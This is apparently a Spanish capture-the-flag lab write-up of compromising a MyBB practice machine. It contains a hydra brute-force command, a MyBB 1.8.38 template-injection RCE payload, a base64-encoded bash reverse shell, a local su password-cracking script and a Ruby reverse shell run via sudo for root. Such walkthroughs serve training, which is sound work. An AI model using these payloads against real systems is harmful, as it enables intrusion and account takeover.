> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/mybb-write-up.md).

# MyBB write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/uRVNybAWTmsAiS3lNmzL" alt=""><figcaption></figcaption></figure>

## **Escaneo de los puertos abiertos y explotación de vulnerabilidades**

utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/fE4tJIxQjlQ3ZCLMKm6U" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegar y contemplamos lo siguiente:

<figure><img src="/files/NqgEFDo036zcgFzReYYb" alt=""><figcaption></figcaption></figure>

Si hacemos clic en `Forums`, nos redirecciona a la ruta `http://panel.mybb.dl/`, así que para poder investigarla ingresaremos `mybb.dl` y `panel.mybb.dl` en el archivo `/etc/hosts`.

<figure><img src="/files/Rd7ImnfyB2k8f3yM7syW" alt=""><figcaption></figcaption></figure>

Ahora si ingresamos la ruta `http://panel.mybb.dl/` en el navegador observaremos lo siguiente:

<figure><img src="/files/Who7cTm7ZDT2k68WJUxh" alt=""><figcaption></figcaption></figure>

Por lo tanto, utilizaremos la herramienta **Dirb** para enumerar directorios y rutas ocultas en el servidor mediante el siguiente comando:

```bash
dirb http://panel.mybb.dl
```

<figure><img src="/files/fQr7kwovyiggBh0N6zP4" alt=""><figcaption></figcaption></figure>

Esto nos revela la ruta `http://panel.mybb.dl/admin/`, la cual, al ingresarla en el navegador, contemplamos un login:

<figure><img src="/files/d5juEqpkuHv1ArCthwtB" alt=""><figcaption></figcaption></figure>

Así que como sabemos la existencia del usuario `admin`, realizaremos un ataque de fuerza con ayuda de la herramienta **hydra**, para ello ejecutaremos el siguiente comando:

<figure><img src="/files/DBsPxDeaeDSDVFb5xPtJ" alt=""><figcaption></figcaption></figure>

```bash
hydra -l admin -P ../rockyou.txt "panel.mybb.dl" http-post-form "/admin/index.php:username=^USER^&password=^PASS^:F=The username and password combination you entered is invalid."  -V -I
```

<figure><img src="/files/QjWUuVhafY2EkPuf2KwT" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `admin` es `babygirl` (Lo normal es que salgan varios falsos positivos, ya que al fallar 5 veces se bloquea la cuenta, por lo que cambie la configuración para que no pasase eso). Así que iniciamos sesión y observamos lo siguiente:

<figure><img src="/files/liaTFm3gtNYdBqKbMjkM" alt=""><figcaption></figcaption></figure>

Se nos indica que se está usando la versión **1.8.38** de MyBB, la cual es vulnerable a ejecución remota de comandos (RCE), para explotar la vulnerabilidad hacemos clic en templates.

<figure><img src="/files/rwe9x5oK8r6MfUiEhOQO" alt=""><figcaption></figcaption></figure>

Una vez en templates, hacemos clic en `Default Templates`.

<figure><img src="/files/vogvpxDuoqf0AhAaTwL4" alt=""><figcaption></figcaption></figure>

Después buscaremos la plantilla `Who's Online Templates` y haremos clic en ella.

<figure><img src="/files/AW0GSPmBKIioI9JL2XB6" alt=""><figcaption></figcaption></figure>

Seleccionamos después donde dice `online`.

<figure><img src="/files/UOTAyC0KRja2VwvLsNlt" alt=""><figcaption></figcaption></figure>

Y ahora editaremos la plantilla de manera que quede así:

```plaintext
<!--{$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]}-->
```

<figure><img src="/files/otxoxDYH18VC0FnE4BDQ" alt=""><figcaption></figcaption></figure>

Esto añadirá el parámetro `1` a la ruta <http://panel.mybb.dl/online.php>, permitiendo ejecutar comandos. Esto se consigue gracias a un bypass de las funciones `preg_replace` y `preg_match` debido a que al intentar analizar una cadena larga, la función `preg_replace` no devuelve nada, permitiendo inyectar código malicioso.

<figure><img src="/files/JWUDsIQZg2Plp3J6PEcA" alt=""><figcaption></figcaption></figure>

Por lo tanto si nos ponemos en escucha por el puerto 4444 con **netcat** y ingresamos la ruta `http://panel.mybb.dl/online.php?1=system(%22printf%20%27YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMScK\n%27%20|%20base64%20-d%20|%20bash%22);` en el navegador, obtendremos un reverse shell.

<figure><img src="/files/17TB3jbvUdEB5oFWarzW" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, nos vamos a pasar un script para realizar un ataque de fuerza a la contraseña de los usuarios junto al diccionario `rockyou.txt`.

```bash
#!/bin/bash

AZUL="\033[1;34m"
VERDE="\033[1;32m"
ROJO="\033[1;31;43m"
RESET="\033[0m"
BLANCO_CLARO="\033[1;97m"

echo -e "${AZUL}"
cat << "EOF"
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
EOF
echo -e "${RESET}"

diccionario="$1"
usuarios="$2"
hilos="$3"
respuesta=1
usuarios_restantes="$usuarios" 

if [ -z "$diccionario" ] || [ -z "$usuarios" ] || [ -z "$hilos" ]; then
    echo -e "${ROJO}Uso: $0 <diccionario> <usuarios> <hilos>${RESET}"
    exit 1
fi

finalizar() {
    echo -e "\e[1;31m\nFinalizando el script\e[0m"
    
    if [ -s usuarios_exitosos.txt ]; then
        rm usuarios_exitosos.txt
    fi

    if [ -s usuarios_restantes.txt ]; then
        rm usuarios_restantes.txt
    fi

    if [ -s archivo.txt ]; then
        rm archivo.txt
    fi

    exit 0 
}

trap finalizar SIGINT

probar_contrasena() {
    local usuario="$1"
    local password="$2"

    local AZUL="\033[1;34m"
    local VERDE="\033[1;32m"
    local ROJO="\033[1;31;43m"
    local RESET="\033[0m"
    local BLANCO_CLARO="\033[1;97m"
    
    echo -e "${BLANCO_CLARO}Probando contraseña = $password para el usuario = $usuario${RESET}"
    if timeout 0.05 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then

        echo -e "${VERDE}La contraseña del usuario $usuario es: $password${RESET}" >> resultado.txt
        chmod 0777 resultado.txt
        echo "$usuario" >> usuarios_exitosos.txt
        echo "0" > archivo.txt
    fi
}

export -f probar_contrasena

export -f finalizar

while IFS= read -r password; do
    echo -e "${AZUL}Probando contraseña: $password${RESET}"
    
    
    if [ "$respuesta" -eq 0 ]; then

        usuarios_restantes=$(grep -Fxv -f usuarios_exitosos.txt "$usuarios" >> usuarios_restantes.txt ; echo "usuarios_restantes.txt")
        respuesta=1

        if [ "$(wc -l < usuarios_restantes.txt)" -eq 0 ]; then

            echo -e "${AZUL}Todos los usuarios fueron encontrados${RESET}"

            rm usuarios_restantes.txt

            finalizar


        fi
    fi

    
    cat "$usuarios_restantes" | xargs -I {} -P "$hilos" bash -c "probar_contrasena '{}' '$password'"

    

    
    if [ -s archivo.txt ]; then
        cat resultado.txt
        rm archivo.txt

        read -p "¿Deseas continuar? (s/n): " respuesta </dev/tty
        if [[ "$respuesta" =~ ^[Ss]$ ]]; then
            respuesta=0
        else

            if [ -s usuarios_exitosos.txt ]; then
                rm usuarios_exitosos.txt
            fi

            if [ -s usuarios_restantes.txt ]; then
                rm usuarios_restantes.txt
            fi

            exit 0
        fi
    
    fi
done < "$diccionario"


echo -e "${ROJO}No se encontró ninguna contraseña válida.${RESET}"
```

Lo pasamos a la máquina víctima levantando un servidor con Python. Y después de pasar el script al directorio `/tmp` de la máquina víctima junto al diccionario, darle permisos de ejecución al script y crear el fichero `/tmp/usuarios.txt`, ejecutamos el script de la siguiente manera:

```bash
 ./linux_fuerza_bruta3.sh rockyou.txt usuarios.txt 1
```

<figure><img src="/files/LFNcnU47hkWTrEie47EP" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña de `alice` es `tinkerbell`, así que iniciamos sesión como alice.

<figure><img src="/files/xgTdws116ICuxMd8e5pQ" alt=""><figcaption></figcaption></figure>

Una vez que obtenemos acceso como el usuario `alice`, ejecutamos el comando `sudo -l`, el cual revela que tenemos permisos para ejecutar como cualquier usuario cualquier script con extensión `.rb` ubicado en el directorio `/home/alice/scripts/`. Aprovechando esta configuración, creamos un script Ruby malicioso en dicha ruta y lo ejecutamos como el usuario `root`. Antes de ejecutarlo, configuramos una escucha en el puerto 4445 para recibir la conexión inversa.

```rb
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux

require 'socket'

s = Socket.new 2,1
s.connect Socket.sockaddr_in 4445, '172.17.0.1'

[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/bash -i'
```

```bash
sudo ./cuidadito.rb
```

<figure><img src="/files/H0Plk4AgK8Qg5nXv29gJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xyVyVa2iqm5XvzPeHzFD" alt=""><figcaption></figcaption></figure>
